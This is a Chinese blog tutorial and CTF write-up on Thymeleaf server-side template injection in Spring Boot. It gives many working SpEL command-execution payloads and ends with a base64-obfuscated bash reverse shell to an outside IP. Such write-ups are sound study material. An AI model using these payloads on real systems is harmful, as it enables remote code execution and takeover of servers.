被红明谷打爆了,所以来学习thymeleaf ssti
Thymeleaf是什么
Thymeleaf是springboot的一个引擎
要类比的话可以拿python中的jinja2来类比
jinja2是flask的一个引擎,它们都用于渲染前端页面
在写javaweb和ssm的时候前端可能会用jsp来写,springboot内是jar包内嵌tomcat,所以它不支持解析jsp文件。又由于单纯的静态html很不方便,所以就产生了thymeleaf这样的一个模板引擎
这样就只需要一个template就可以动态渲染前端了
基础知识
表达式
Thymeleaf中有很多种表达式:
- 变量表达式:
${...} - 选择变量表达式:
*{...} - 消息表达式:
#{...} - 链接url表达式:
@{...} - 片段表达式:
~{...} - 内联表达式:
[[]]或者[()]
通过这些表达式可以进行变量的引用、替换等
例如${name}可以取到name的值
*{...}选定对象而不是整个上下文表达式,也就是说只要没有选定对象,${}等效于*{}
片段表达式~{}可以用于引用公共的目标片段,比如在footer.html中定义了下面的一个copy片段:<div th:fragment="copy">
1 |
|
那么就可以通过~{}在另一模板中引用:
1 | <body> |
简单介绍一下片段表达式的语法:
~{templatename::selector},会在/WEB-INF/templates/目录下寻找名为templatename的模板中定义的fragment~{templatename},这样会将整个templatename模板当作fragment~{::selector}或者~{this.selector},引用来自同一模板名为selector的fragment
selector可以是通过th:fragment定义的片段,也可以是类选择器等
标签
thymeleaf还提供了一些内置的标签:
| 标签 | 作用 | 示例 |
|---|---|---|
| th:id | 替换id | <input th:id="${user.id}"/> |
| th:text | 文本替换 | <p text:="${user.name}">bigsai</p> |
| th:utext | 支持html的文本替换 | <p utext:="${htmlcontent}">content</p> |
| th:object | 替换对象 | <div th:object="${user}"></div> |
| th:value | 替换值 | <input th:value="${user.name}" > |
| th:each | 迭代 | <tr th:each="student:${user}" > |
| th:href | 替换超链接 | <a th:href="@{index.html}">超链接</a> |
| th:src | 替换资源 | <script type="text/javascript" th:src="@{index.js}"></script> |
预处理语句
通过下面的语法可以对语句进行预处理:
__${experssion}__
官方文档:
除了所有这些用于表达式处理的功能外,
Thymeleaf还具有预处理表达式的功能。预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。
预处理的表达式与普通表达式完全一样,但被双下划线符号(如
__${expression}__)包围。
预处理可以解析执行表达式,这就是ssti出现的最关键的一个的地方
通过可控的预处理输入的位置传入我们的恶意payload解析便可以达到任意代码执行
而我们要利用的就是这个表达式~{...}(虽然和它无关)
其中的templatename和selector都可以进行thymeleaf ssti
调试
调试我就不调了,可以看一下这位师傅写的
Java安全之Thymeleaf SSTI分析 - Zh1z3ven - 博客园 (cnblogs.com)
主要是调不动(
漏洞复现
在thymeleaf中,回显的本质其实是通过抛出某个异常来实现的,在低版本的springboot(<=2.2)中,server.error.include-message的默认值为always
因此这使得500页面会回显异常信息
但是在高版本下,上面的选项默认值改为了never,这使得500页面不会回显任何异常信息
所以回显的payload还是有点局限性
常规payload(无回显):
1 | __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()%7d__:: |
常规payload(有回显):
1 | __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()%7d__::xx |
显而易见,只需要在::后加上任意内容即可回显
templatename
源码类似于:
1 |
|
它根据用户传入的lang参数,然后返回对应的user/lang/welcome模板(也有可能前面指定了一个固定路径)
在lang处打payload即可:
1 | /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x |
上面这个payload是有回显的
不过对于这个源码:
1 |
|
由于后面拼接上了/welcome
所以实际上return的值是这样的:
1 | user/$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x/welcome |
上面说过只要::后任意内容都可回显,所以此处加不加.x都会有回显
selector
源码如下:
1 |
|
可以看见它的可控点是一个selector的位置
同样的payload,但是它是无回显的,不管加不加.x
1 | /fragment?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x |
为什么呢?
我们是通过抛出异常来回显的,但是实际上抛出的异常叫TemplateInputException,它是因为找不到templatename导致的异常抛出
所以templatename可控的地方是可以回显的
而selector可控的地方是无回显的:
URI Path
看源码:
1 |
|
同样的payload,打到document的位置:
1 | /doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x |
原理是mav的返回值为空,所以viewTemplateName会直接从uri中获取
特殊的trick
::
::的位置是可以挪到最前面的:
1 | ::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__ |
post
post方法也是可以的:
1 | POST /path HTTP/1.1 |
省略双下划线
如果单独引用template时,可以不使用双下划线包裹:
1 |
|
像上面这样就可以省略双下划线:
1 | /path2?lang=$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d |
或者像这样的payload也是可以的:
1 | *%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d |
(再加多一对大括号也可以,具体可以看到这里:https://xz.aliyun.com/t/9826#toc-4)
改造成利用反射获取
1 | __${new java.util.Scanner(T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x |
或者:
1 | __${new java.util.Scanner(Class.forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x |
内联表达式
在boogipop师傅的博客里:
[RealWorld CTF 6th 正赛/体验赛 部分 Web Writeup - Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2024/01/29/RealWorld CTF 6th 正赛_体验赛 部分 Web Writeup/)
源码简化后如下:
1 |
|
这种源码会根据使用的模板引擎进行渲染,这里当然时利用thymeleaf进行渲染
利用内联表达式进行rce:
1 | [[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('whoami')").getValue()}]] |
记得url编码
1 | %5B%5B%24%7BT(java.lang.Boolean).forName(%22com.fasterxml.jackson.databind.ObjectMapper%22).newInstance().readValue(%22%7B%7D%22%2CT(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression(%22T(Runtime).getRuntime().exec('calc')%22).getValue()%7D%5D%5D |
例题
红明谷2024 Simp1escape
差点做出来了,就是不知道有thymeleafssti
审controller:
1 | package com.example.controller; |
其实这里应该要看得出来它返回的是一个模板的。。。
唉
index其实就是一个hello world,返回了一个模板渲染的hello world
Curl Controller:
1 | package com.example.controller; |
简单的看看,其实就是根据用户传入的url参数来进行ssrf(curl),然后将结果写到指定的地方:savePath + File.separator + hostname + ThymeleafProperties.DEFAULT_SUFFIX并返回
这里有点waf,首先是url要以http:或者https:开头,然后进行了一个isPrivateIp的判断:
1 | public class Utils { |
他会进行一个本地ip的判断
所以我们不能够直接通过本地ip打ssrf
admincontroller
1 | package com.example.controller; |
可以看到熟悉的返回模板渲染:
return new SpringTemplateEngine().process(hostname, new Context());
而且hostname参数可控
唯一需求就是需要通过本地ip访问,刚好curl可以打本地请求
这里可以利用xctf x tpctf的short_url的思路,利用302跳转
我们的payload是利用内联表达式来执行:
1 | [[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('whoami')").getValue()}]] |
稍加改进一下反弹shell:
1 | [[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('bash -c {echo, YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}')").getValue()}]] |
这样就能把shell弹回来了